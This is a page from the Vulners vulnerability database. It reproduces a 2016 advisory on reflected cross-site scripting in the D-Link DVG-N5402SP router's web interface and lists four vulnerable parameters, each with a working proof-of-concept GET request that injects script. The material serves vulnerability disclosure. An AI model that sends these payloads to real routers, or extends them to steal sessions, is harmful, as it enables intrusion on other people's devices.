Vulners
Lucene search
D-Link DVG-N5402SP Cross Site Scripting
`DLink Multiple Cross Site Scripting Vulnerabilities
Vendor : www.dlink.com
Product Model: DVGN5402SP
Published: 02/22/2016
Discovered by vesp3r ([email protected])
Advisory Timeline
-----------------
02/05/2016 - Vendor notified (No response)
Vulnerability
-------------
Reflected Cross Site Scripting
1) getpage parameter
GET /cgi-bin/webproc?getpage=html/index.html&var:menu=advanced1337"%3balert(1)%2f%2f158&var:page=firewall&var:subpage=URLFilter HTTP/1.1
2) var:menu parameter
GET /cgi-bin/webproc?getpage=html/index.html&errorpage=html/main.html&var:language=zh_cn&var:menu=setup1337"%3balert(1)%2f%2f122&var:page=connected&var:retag=1&var:subpage=- HTTP/1.1
3) var:page parameter
/cgi-bin/webproc?getpage=html/index.html&var:menu=advanced&var:page=firewall9542"%3balert(1)%2f%2f198&var:subpage=dmz
4) var:subpage parameter
/cgi-bin/webproc?getpage=html/index.html&errorpage=html/main.html&var:language=zh_cn&var:menu=setup&var:page=connected&var:retag=1&var:subpage="><script>alert(1)<%2fscript>z376l HTTP/1.1
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Feb 2016 00:00Current
0.1Low risk
Vulners AI Score0.1